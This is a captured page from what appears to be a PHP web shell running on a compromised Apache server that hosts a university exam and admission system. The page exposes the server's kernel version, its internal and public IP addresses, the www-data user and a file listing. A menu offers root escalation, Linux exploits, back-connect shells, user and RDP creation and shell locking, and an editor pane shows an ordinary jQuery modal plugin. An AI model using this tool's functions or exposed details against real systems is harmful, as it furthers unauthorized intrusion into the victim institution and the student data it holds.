Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 18.116.80.252
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
oasis /
js /
[ HOME SHELL ]
Name
Size
Permission
Action
Report
[ DIR ]
drwxr-xr-x
base_file
[ DIR ]
drwxr-xr-x
events
[ DIR ]
drwxr-xr-x
popups
[ DIR ]
drwxr-xr-x
.DS_Store
12
KB
-rwxr-xr-x
AbsentEntrySubjectWise.js
15.19
KB
-rwxr-xr-x
AllkeyEvent.js
37.26
KB
-rw-rw-r--
AllkeyEvent_20102021.js
37.24
KB
-rwxr-xr-x
Att_Ent_Teacher_Wise.js
10.99
KB
-rw-rw-r--
Barchart.js
13.12
KB
-rw-rw-r--
CIEAttendanceNotEligible.js
7.23
KB
-rw-rw-r--
CIEpendingList.js
5.97
KB
-rw-rw-r--
Dispatch_answer_script.js
18.53
KB
-rwxr-xr-x
Dispatch_answer_script_qp.js
16.83
KB
-rwxr-xr-x
ECHblk.js
8.11
KB
-rwxr-xr-x
IdentifyTransactions.js
2.18
KB
-rwxr-xr-x
MainPage.js
18.36
KB
-rwxr-xr-x
MainPage_wait.js
15.19
KB
-rwxr-xr-x
Message_board.js
5.09
KB
-rwxr-xr-x
RvRtAcknowledgement.js
6.95
KB
-rw-rw-r--
SelectSubjType.js
11.2
KB
-rw-rw-r--
SubjectType.js
11.27
KB
-rw-rw-r--
UpdateCollDet.js
8.15
KB
-rwxr-xr-x
absentEntryYearModewise.js
10.67
KB
-rw-rw-r--
absentMalpractice.js
3.04
KB
-rw-rw-r--
absententrysubjectwiseQP.js
20.23
KB
-rwxr-xr-x
ack_adm_application.js
57.5
KB
-rwxr-xr-x
ack_admentry_application.js
57.78
KB
-rwxr-xr-x
ack_admentry_application_dud.j...
56.55
KB
-rwxr-xr-x
ack_exam_app_form.js
4.1
KB
-rwxr-xr-x
ack_exam_app_form_bulk.js
2.21
KB
-rwxr-xr-x
ack_rv_rt_application.js
2.59
KB
-rwxr-xr-x
adm_delete_data.js
3.05
KB
-rwxr-xr-x
admchallanpreparation.js
5.97
KB
-rwxr-xr-x
admdownloadexsheet.js
460
B
-rwxr-xr-x
admentry_nitte.js
137.48
KB
-rw-rw-r--
admission_approve.js
23.71
KB
-rwxr-xr-x
admission_approve_kus.js
29.13
KB
-rwxr-xr-x
admission_entry_reg.js
46.19
KB
-rwxr-xr-x
admission_entry_status.js
1.12
KB
-rwxr-xr-x
admissionapplist.js
3.9
KB
-rwxr-xr-x
admstuddate.js
4.22
KB
-rwxr-xr-x
admuploadexsheet.js
1.4
KB
-rwxr-xr-x
affliation_fee.js
24.58
KB
-rwxrwxrwx
attDegwiseReport.js
3.08
KB
-rw-r--r--
attTeachSum.js
4.16
KB
-rw-r--r--
attendance.js
10.68
KB
-rwxr-xr-x
attendanceReportForm.js
5.01
KB
-rw-rw-r--
attendance_freez.js
6.34
KB
-rwxr-xr-x
attendanceentrydaywise.js
26.78
KB
-rw-r--r--
attendenceshort.js
5.52
KB
-rw-rw-r--
attiacombined.js
3.07
KB
-rwxr-xr-x
attreport.js
3.26
KB
-rw-rw-r--
backup.js
7.98
KB
-rwxr-xr-x
backup_restore.js
1.33
KB
-rwxr-xr-x
batchSetup.js
10.76
KB
-rw-rw-r--
batch_setup.js
10.07
KB
-rwxr-xr-x
batchwisetimetable.js
16.77
KB
-rw-rw-r--
bill_details.js
1.02
KB
-rw-rw-r--
bundle_ack.js
1.5
KB
-rwxr-xr-x
bundle_dispatch.js
8.74
KB
-rwxr-xr-x
bundle_rec_ack.js
1.16
KB
-rwxr-xr-x
calendar-en.js
3.52
KB
-rwxr-xr-x
calendar-setup.js
8.83
KB
-rwxr-xr-x
calendar.js
51.74
KB
-rwxr-xr-x
calender.js
639
B
-rwxr-xr-x
candidate_list.js
33.92
KB
-rwxr-xr-x
centerdet.js
1.45
KB
-rw-rw-r--
challan_entries.js
4.08
KB
-rwxr-xr-x
challan_preparation.js
2.86
KB
-rwxr-xr-x
changeAdmDegree.js
4.01
KB
-rwxr-xr-x
changeMobile.js
3.15
KB
-rwxr-xr-x
checkbrowser.js
2.77
KB
-rwxr-xr-x
classtimetablerpt.js
1.91
KB
-rw-r--r--
cntrDeclaration.js
3.66
KB
-rwxr-xr-x
coll_exam_app_form.js
2.11
KB
-rwxr-xr-x
collbankdet.js
2.49
KB
-rwxr-xr-x
colldesp_ack.js
3.58
KB
-rw-rw-r--
college.js
4.64
KB
-rwxr-xr-x
college_approve.js
23.41
KB
-rwxr-xr-x
college_degree_status.js
3.32
KB
-rwxr-xr-x
collegedet.js
1.47
KB
-rwxr-xr-x
collegewisedownload.js
1.26
KB
-rw-rw-r--
collfundtransfer.js
5.16
KB
-rwxr-xr-x
collinfo_popup.js
10.32
KB
-rwxr-xr-x
colltransfer.js
7.87
KB
-rw-rw-r--
convdet.js
5.91
KB
-rwxr-xr-x
convo.js
13.55
KB
-rw-rw-r--
copomarksentryexternal.js
12.23
KB
-rw-r--r--
copomarkslist.js
2.69
KB
-rw-rw-r--
copomaxmarksentry.js
5.29
KB
-rw-r--r--
coporeport.js
2.37
KB
-rw-r--r--
coposurvey.js
4.53
KB
-rw-rw-r--
courserep.js
1.91
KB
-rw-r--r--
createAdmission.js
12.52
KB
-rwxr-xr-x
createClass.js
18.84
KB
-rw-rw-r--
createattclass.js
9.28
KB
-rw-rw-r--
createclass.js
20.93
KB
-rw-r--r--
daterange.js
7.74
KB
-rwxr-xr-x
deggrp.js
7.48
KB
-rw-rw-r--
deggrpwisepiechart.js
9.62
KB
-rw-rw-r--
degree.js
3.1
KB
-rwxr-xr-x
degree_Subject_Report.js
2.9
KB
-rw-rw-r--
degreegrpwisestud.js
1.72
KB
-rw-rw-r--
degreewisestdusn.js
1.25
KB
-rw-rw-r--
degstudymat.js
4.9
KB
-rwxr-xr-x
degstudymatdet.js
3.58
KB
-rwxr-xr-x
degwiseIAreport.js
5.8
KB
-rw-rw-r--
doc_verification.js
2.33
KB
-rwxr-xr-x
downloadStudentPhotos.js
1.13
KB
-rwxr-xr-x
download_misc_files.js
838
B
-rwxr-xr-x
download_misc_files_new.js
1.65
KB
-rwxr-xr-x
editstddet.js
5.83
KB
-rw-rw-r--
elementwisereport.js
5.42
KB
-rw-rw-r--
enableStudReg.js
6.6
KB
-rwxr-xr-x
enableprintapplication_ru.js
46.21
KB
-rw-rw-r--
entryexitevents.js
1.36
KB
-rwxr-xr-x
examAttendanceReport.js
2.38
KB
-rwxr-xr-x
examappfeereport.js
3.02
KB
-rw-rw-r--
export_import.js
1.62
KB
-rwxr-xr-x
export_import_setup.js
5.65
KB
-rwxr-xr-x
feepaidreports.js
2.08
KB
-rwxr-xr-x
feeupdation.js
5.83
KB
-rwxr-xr-x
finalCieMarks.js
2.62
KB
-rw-rw-r--
footer.js
6.73
KB
-rwxr-xr-x
form_submit.js
1.3
KB
-rwxr-xr-x
formatdate.js
13.87
KB
-rwxr-xr-x
freeze_Ad_Cl_Me.js
2.86
KB
-rwxr-xr-x
freeze_module_at_admin_college...
12.8
KB
-rwxr-xr-x
freeze_module_at_admin_college...
6.09
KB
-rwxr-xr-x
freeze_module_at_university_co...
4.85
KB
-rwxr-xr-x
freezeiaprici.js
13.76
KB
-rwxr-xr-x
grid_display.js
939
B
-rwxr-xr-x
gtransapi.js
398.2
KB
-rwxrwxrwx
htblk.js
5.18
KB
-rwxr-xr-x
iaMarksReport.js
6.91
KB
-rw-r--r--
iaMarksReportnew.js
6.99
KB
-rw-r--r--
iaSummaryReport.js
2.51
KB
-rw-r--r--
ia_invigilators_dairy.js
3.3
KB
-rwxr-xr-x
ia_room_allotment_datewise.js
5.99
KB
-rwxr-xr-x
ia_roomwise_regno.js
4.11
KB
-rw-r--r--
ia_subjectwise_invigilator_dai...
4.04
KB
-rwxr-xr-x
iaabsentEntry.js
7.21
KB
-rw-r--r--
iacombined.js
5.79
KB
-rw-r--r--
iamarks.js
2.3
KB
-rw-rw-r--
iaroomallotmantsummary.js
1.08
KB
-rwxr-xr-x
iaroomdeclaration.js
10.39
KB
-rwxr-xr-x
iasectionwise.js
5.6
KB
-rw-r--r--
iatimetable.js
4.07
KB
-rw-r--r--
identifyCoMarks.js
12.01
KB
-rw-rw-r--
identifyCoMarksNew.js
9.38
KB
-rw-rw-r--
import_marks.js
1.41
KB
-rwxr-xr-x
includeCSS.js
1.31
KB
-rwxr-xr-x
index.js
31.67
KB
-rwxr-xr-x
index_wait.js
29.59
KB
-rwxr-xr-x
invig_report.js
2.82
KB
-rw-rw-r--
invigilators_dairy.js
8.63
KB
-rwxr-xr-x
invigilators_dairy_gug.js
5.52
KB
-rwxr-xr-x
invigilators_dairy_new.js
8.91
KB
-rwxr-xr-x
invigilators_dairy_newone.js
10.72
KB
-rw-rw-r--
invigilators_dairy_stph.js
6.9
KB
-rw-rw-r--
jquery.color.js
4.5
KB
-rwxr-xr-x
jquery.js
29.42
KB
-rwxr-xr-x
lateralentry.js
4.92
KB
-rwxr-xr-x
load-report-js-files.js
11.17
KB
-rwxr-xr-x
load_js_files.js
676
B
-rwxr-xr-x
load_mannual_js_files.js
74.4
KB
-rwxr-xr-x
markentry_studentwise.js
9.95
KB
-rwxr-xr-x
markentry_subjectwise.js
18.8
KB
-rwxr-xr-x
markentry_subjectwise_bf_gcg.j...
17.73
KB
-rwxr-xr-x
marksEntryExt.js
4.3
KB
-rw-r--r--
marksentryexternal.js
11.09
KB
-rw-rw-r--
marksentryquestionwise.js
49.92
KB
-rw-rw-r--
marksentrytwo.js
9.43
KB
-rw-r--r--
marksentrytwonew.js
9.9
KB
-rw-r--r--
markslistelement_report.js
6.46
KB
-rwxr-xr-x
message_text.js
2.05
KB
-rwxr-xr-x
mobiscroll.jquery.min.js
429.36
KB
-rw-r--r--
module_setup.js
4.7
KB
-rwxr-xr-x
month_cal.js
74.26
KB
-rwxr-xr-x
oldqnpaper.js
4.27
KB
-rw-rw-r--
openPopUp.js
5.22
KB
-rwxr-xr-x
passwordshow.js
59
B
-rw-rw-r--
pendingcielist.js
3.32
KB
-rw-rw-r--
piecharttesting.js
64
B
-rw-rw-r--
popup.js
123.65
KB
-rw-rw-r--
popup_20102021.js
122.39
KB
-rwxr-xr-x
popupold.js
61.77
KB
-rwxr-xr-x
postnotification.js
10.25
KB
-rwxr-xr-x
practcalDailyReport.js
2.88
KB
-rw-rw-r--
practicalMarks.js
10.96
KB
-rw-rw-r--
prbillreport.js
2.82
KB
-rw-r--r--
principalfreezingsubject.js
7.31
KB
-rw-rw-r--
principleFreeze.js
7.88
KB
-rw-rw-r--
pwschange.js
1.08
KB
-rwxr-xr-x
qnwiseMarksStats.js
8.94
KB
-rw-rw-r--
qnwisemarksentrynew.js
13.59
KB
-rw-rw-r--
qpSummaryReport.js
2.09
KB
-rw-r--r--
qpissue.js
1.55
KB
-rwxr-xr-x
receive_rv_rt_application.js
2.87
KB
-rwxr-xr-x
receive_teach_transfer.js
5.08
KB
-rw-rw-r--
remove_exam_ack.js
1.07
KB
-rwxr-xr-x
remunerationEntry.js
14.77
KB
-rw-rw-r--
repeateriamarksentry.js
6.82
KB
-rw-rw-r--
report_Admission_Ticket_Jsstu....
5.11
KB
-rwxr-xr-x
report_SubjectListGeneral.js
3.49
KB
-rwxr-xr-x
report_admission_list_vku.js
2.82
KB
-rwxrwxrwx
report_exam_application_form.j...
2.78
KB
-rwxr-xr-x
report_reg_list_gcg.js
2.48
KB
-rw-rw-r--
report_setup.js
13.38
KB
-rwxr-xr-x
resetPasseordValidate.js
2.58
KB
-rw-rw-r--
resultsheet.js
15.67
KB
-rwxr-xr-x
revaluation.js
8.27
KB
-rwxr-xr-x
revaluation_withdegree.js
8.24
KB
-rwxr-xr-x
rommcreationnew.js
6.44
KB
-rw-rw-r--
room_allotment.js
3.97
KB
-rwxr-xr-x
room_allotment_datewise.js
8.63
KB
-rwxr-xr-x
room_allotment_datewise_stph.j...
8.05
KB
-rwxr-xr-x
room_allotment_datewise_stph_n...
6.08
KB
-rwxr-xr-x
room_allotment_shifiting.js
3.38
KB
-rw-r--r--
roomallotmantsummary.js
3.2
KB
-rwxr-xr-x
roomallotmantsummary_new.js
3.67
KB
-rwxr-xr-x
roomallotmentqpwise.js
21.32
KB
-rw-rw-r--
roomallotmentqpwisenew.js
22.03
KB
-rw-rw-r--
roomdeclaration.js
6.54
KB
-rwxr-xr-x
roomdeclaration_stph.js
11.6
KB
-rwxr-xr-x
roomwise_regno.js
6.22
KB
-rw-rw-r--
roomwiseinvigilatorsEntry.js
15.28
KB
-rw-rw-r--
rv_rt_guide_lines.js
466
B
-rwxr-xr-x
rv_rt_report.js
5.67
KB
-rwxrwxrwx
rvdates.js
8.94
KB
-rw-rw-r--
savesemster.js
5.13
KB
-rw-rw-r--
sectionwisepermission.js
4.98
KB
-rwxr-xr-x
semwiseresultanalysis.js
8.68
KB
-rw-rw-r--
shortLists.js
6.53
KB
-rw-rw-r--
std_register_det.js
9.56
KB
-rw-rw-r--
studSubIdent.js
5.34
KB
-rw-r--r--
stud_wise_report.js
4.4
KB
-rw-rw-r--
studdet.js
2.84
KB
-rw-rw-r--
student_entry.js
54.15
KB
-rwxr-xr-x
student_entry_kswu.js
50.1
KB
-rwxr-xr-x
student_entry_rur.js
121.59
KB
-rw-rw-r--
student_entry_rur_new.js
119.52
KB
-rw-rw-r--
student_entry_vku.js
116.63
KB
-rwxr-xr-x
studentphotolist.js
1.75
KB
-rw-rw-r--
studentreport.js
2.29
KB
-rw-rw-r--
studentres.js
770
B
-rw-r--r--
studnamecorr.js
8.13
KB
-rw-rw-r--
subIAMarksEntry.js
8.08
KB
-rw-rw-r--
subblock.js
4.97
KB
-rwxr-xr-x
subdet.js
20.4
KB
-rw-rw-r--
subdetails.js
30.32
KB
-rw-rw-r--
subjReg.js
6.08
KB
-rw-r--r--
subjectAppearing_PopUp.js
2.06
KB
-rwxr-xr-x
subject_freshExam.js
12.67
KB
-rwxr-xr-x
subjectfreez.js
12.3
KB
-rwxr-xr-x
subjectwisePiechart.js
10.97
KB
-rw-rw-r--
subjectwise_freezing_sectionwi...
7.97
KB
-rwxr-xr-x
subjectwise_invigilator_dairy....
4.29
KB
-rwxr-xr-x
subjectwise_invigilator_dairy_...
2.79
KB
-rwxr-xr-x
subshort.js
6.34
KB
-rw-rw-r--
system.js
12.41
KB
-rwxr-xr-x
system_utility.js
8.74
KB
-rwxr-xr-x
tatkal.js
1.23
KB
-rw-rw-r--
teachFreeze.js
8.78
KB
-rw-r--r--
teachOficerEntry.js
7.25
KB
-rwxr-xr-x
teacher_val_report.js
656
B
-rwxr-xr-x
teachers.js
34.27
KB
-rwxr-xr-x
teachersreport.js
1.25
KB
-rwxr-xr-x
testwiseMarksReport.js
4.08
KB
-rw-rw-r--
theorymarksentry.js
7.32
KB
-rw-rw-r--
thvalmarks.js
2.63
KB
-rw-r--r--
time_table_degreewise.js
3.65
KB
-rwxrwxrwx
topsheet.js
1.1
KB
-rwxr-xr-x
transaction-series.js
6.92
KB
-rwxr-xr-x
updateSection.js
7.09
KB
-rwxr-xr-x
updatecopo.js
22.77
KB
-rw-r--r--
updatedegreegroup.js
7.09
KB
-rw-rw-r--
updatefreshexam.js
1.52
KB
-rw-rw-r--
updatesspdetails.js
14.81
KB
-rw-rw-r--
updatetimetable.js
17.27
KB
-rw-r--r--
updateuvcms.js
6.2
KB
-rw-rw-r--
updmarks.js
837
B
-rwxr-xr-x
updnemp.js
827
B
-rwxr-xr-x
uploadStudentPhotos.js
5.15
KB
-rwxr-xr-x
upload_details.js
4.15
KB
-rwxr-xr-x
upload_doc_demo.js
2.03
KB
-rw-rw-r--
uploadcopo.js
3.16
KB
-rw-r--r--
uploadteachattend.js
8.56
KB
-rw-r--r--
userpasswordreset.js
6.5
KB
-rw-rw-r--
usersetup.js
37.94
KB
-rwxr-xr-x
usersetupNew.js
3.93
KB
-rwxr-xr-x
usersubj_identification.js
4.83
KB
-rwxr-xr-x
validate.js
9.84
KB
-rwxr-xr-x
viewNotifications.js
5.95
KB
-rw-rw-r--
view_ledger.js
7.89
KB
-rwxrwxrwx
yearmode.js
6.55
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : collinfo_popup.js
(function ($) { "use strict"; /** * Remodal settings * @private */ var pluginName = "remodal", defaults = { hashTracking: true, /* closeOnConfirm: true, closeOnCancel: true, closeOnEscape: true, closeOnAnyClick: true */ }, // Current modal current, // Scroll position scrollTop; /** * Get a transition duration in ms * @param {jQuery} $elem * @return {Number} * @private */ function getTransitionDuration($elem) { var duration = $elem.css("transition-duration") || $elem.css("-webkit-transition-duration") || $elem.css("-moz-transition-duration") || $elem.css("-o-transition-duration") || $elem.css("-ms-transition-duration") || 0, delay = $elem.css("transition-delay") || $elem.css("-webkit-transition-delay") || $elem.css("-moz-transition-delay") || $elem.css("-o-transition-delay") || $elem.css("-ms-transition-delay") || 0; return (parseFloat(duration) + parseFloat(delay)) * 1000; } /** * Get a scrollbar width * @return {Number} * @private */ function getScrollbarWidth() { if ($(document.body).height() <= $(window).height()) { return 0; } var outer = document.createElement("div"), inner = document.createElement("div"), widthNoScroll, widthWithScroll; outer.style.visibility = "hidden"; outer.style.width = "100px"; document.body.appendChild(outer); widthNoScroll = outer.offsetWidth; // Force scrollbars outer.style.overflow = "scroll"; // Add innerdiv inner.style.width = "100%"; outer.appendChild(inner); widthWithScroll = inner.offsetWidth; // Remove divs outer.parentNode.removeChild(outer); return widthNoScroll - widthWithScroll; } /** * Lock screen * @private */ function lockScreen() { var $body = $(document.body), // Zepto does not support '-=', '+=' in the `css` method paddingRight = parseInt($body.css("padding-right"), 10) + getScrollbarWidth(); $body.css("padding-right", paddingRight + "px"); $("html, body").addClass(pluginName + "_lock"); } /** * Unlock screen * @private */ function unlockScreen() { var $body = $(document.body), // Zepto does not support '-=', '+=' in the `css` method paddingRight = parseInt($body.css("padding-right"), 10) - getScrollbarWidth(); $body.css("padding-right", paddingRight + "px"); $("html, body").removeClass(pluginName + "_lock"); } /** * Parse string with options * @param str * @returns {Object} * @private */ function parseOptions(str) { var obj = {}, arr, len, val, i; // Remove spaces before and after delimiters str = str.replace(/\s*:\s*/g, ":").replace(/\s*,\s*/g, ","); // Parse string arr = str.split(","); for (i = 0, len = arr.length; i < len; i++) { arr[i] = arr[i].split(":"); val = arr[i][1]; // Convert string value if it is like a boolean if (typeof val === "string" || val instanceof String) { val = val === "true" || (val === "false" ? false : val); } // Convert string value if it is like a number if (typeof val === "string" || val instanceof String) { val = !isNaN(val) ? +val : val; } obj[arr[i][0]] = val; } return obj; } /** * Remodal constructor * @param {jQuery} $modal * @param {Object} options * @constructor */ function Remodal($modal, options) { var remodal = this, tdOverlay, tdModal, tdBg; remodal.settings = $.extend({}, defaults, options); // Build DOM remodal.$body = $(document.body); remodal.$bg = $("." + pluginName + "-bg"); remodal.$closeButton = $("<a href='#'>").addClass(pluginName + "-close"); remodal.$overlay = $("<div>").addClass(pluginName + "-overlay"); remodal.$modal = $modal; remodal.$modal.addClass(pluginName); remodal.$modal.css("visibility", "visible"); remodal.$modal.append(remodal.$closeButton); remodal.$overlay.append(remodal.$modal); remodal.$body.append(remodal.$overlay); remodal.$confirmButton = remodal.$modal.find("." + pluginName + "-confirm"); remodal.$cancelButton = remodal.$modal.find("." + pluginName + "-cancel"); // Calculate timeouts tdOverlay = getTransitionDuration(remodal.$overlay); tdModal = getTransitionDuration(remodal.$modal); tdBg = getTransitionDuration(remodal.$bg); remodal.td = tdModal > tdOverlay ? tdModal : tdOverlay; remodal.td = tdBg > remodal.td ? tdBg : remodal.td; // Add close button event listener remodal.$closeButton.bind("click." + pluginName, function (e) { e.preventDefault(); remodal.close(); }); // Add cancel button event listener remodal.$cancelButton.bind("click." + pluginName, function (e) { e.preventDefault(); remodal.$modal.trigger("cancel"); if (remodal.settings.closeOnCancel) { remodal.close(); } }); // Add confirm button event listener remodal.$confirmButton.bind("click." + pluginName, function (e) { e.preventDefault(); remodal.$modal.trigger("confirm"); if (remodal.settings.closeOnConfirm) { remodal.close(); } }); // Add keyboard event listener $(document).bind("keyup." + pluginName, function (e) { if (e.keyCode === 27 && remodal.settings.closeOnEscape) { remodal.close(); } }); // Add overlay event listener remodal.$overlay.bind("click." + pluginName, function (e) { var $target = $(e.target); if (!$target.hasClass(pluginName + "-overlay")) { return; } if (remodal.settings.closeOnAnyClick) { remodal.close(); } }); remodal.index = $[pluginName].lookup.push(remodal) - 1; remodal.busy = false; } /** * Open the modal window * @public */ Remodal.prototype.open = function () { // Check if animation is complete if (this.busy) { return; } var remodal = this, id; remodal.busy = true; remodal.$modal.trigger("open"); id = remodal.$modal.attr("data-" + pluginName + "-id"); if (id && remodal.settings.hashTracking) { scrollTop = $(window).scrollTop(); location.hash = id; } if (current && current !== remodal) { current.$overlay.hide(); current.$body.removeClass(pluginName + "_active"); } current = remodal; lockScreen(); remodal.$overlay.show(); setTimeout(function () { remodal.$body.addClass(pluginName + "_active"); setTimeout(function () { remodal.busy = false; remodal.$modal.trigger("opened"); }, remodal.td + 50); }, 25); }; /** * Close the modal window * @public */ Remodal.prototype.close = function () { // Check if animation is complete if (this.busy) { return; } this.busy = true; this.$modal.trigger("close"); var remodal = this; if ( remodal.settings.hashTracking && remodal.$modal.attr("data-" + pluginName + "-id") === location.hash.substr(1) ) { location.hash = ""; $(window).scrollTop(scrollTop); } remodal.$body.removeClass(pluginName + "_active"); setTimeout(function () { remodal.$overlay.hide(); unlockScreen(); remodal.busy = false; remodal.$modal.trigger("closed"); }, remodal.td + 50); }; /** * Special plugin object for instances. * @type {Object} * @public */ $[pluginName] = { lookup: [], }; /** * Plugin constructor * @param {Object} options * @returns {JQuery} * @constructor */ $.fn[pluginName] = function (opts) { var instance, $elem; this.each(function (index, elem) { $elem = $(elem); if ($elem.data(pluginName) == null) { instance = new Remodal($elem, opts); $elem.data(pluginName, instance.index); if ( instance.settings.hashTracking && $elem.attr("data-" + pluginName + "-id") === location.hash.substr(1) ) { instance.open(); } } }); return instance; }; $(document).ready(function () { // data-remodal-target opens a modal window with the special Id. $(document).on("click", "[data-" + pluginName + "-target]", function (e) { e.preventDefault(); var elem = e.currentTarget, id = elem.getAttribute("data-" + pluginName + "-target"), $target = $("[data-" + pluginName + "-id=" + id + "]"); $[pluginName].lookup[$target.data(pluginName)].open(); }); // Auto initialization of modal windows. // They should have the 'remodal' class attribute. // Also you can write `data-remodal-options` attribute to pass params into the modal. $(document) .find("." + pluginName) .each(function (i, container) { var $container = $(container), options = $container.data(pluginName + "-options"); if (!options) { options = {}; } else if (typeof options === "string" || options instanceof String) { options = parseOptions(options); } $container[pluginName](options); }); }); /** * Hashchange handler * @param {Event} e * @param {Boolean} [closeOnEmptyHash=true] * @private */ function hashHandler(e, closeOnEmptyHash) { var id = location.hash.replace("#", ""), instance, $elem; if (typeof closeOnEmptyHash === "undefined") { closeOnEmptyHash = true; } if (!id) { if (closeOnEmptyHash) { // Check if we have currently opened modal and animation is complete if (current && !current.busy && current.settings.hashTracking) { current.close(); } } } else { // Catch syntax error if your hash is bad try { $elem = $( "[data-" + pluginName + "-id=" + id.replace(new RegExp("/", "g"), "\\/") + "]" ); } catch (err) {} if ($elem && $elem.length) { instance = $[pluginName].lookup[$elem.data(pluginName)]; if (instance && instance.settings.hashTracking) { instance.open(); } } } } $(window).bind("hashchange." + pluginName, hashHandler); })(window.jQuery || window.Zepto);
Close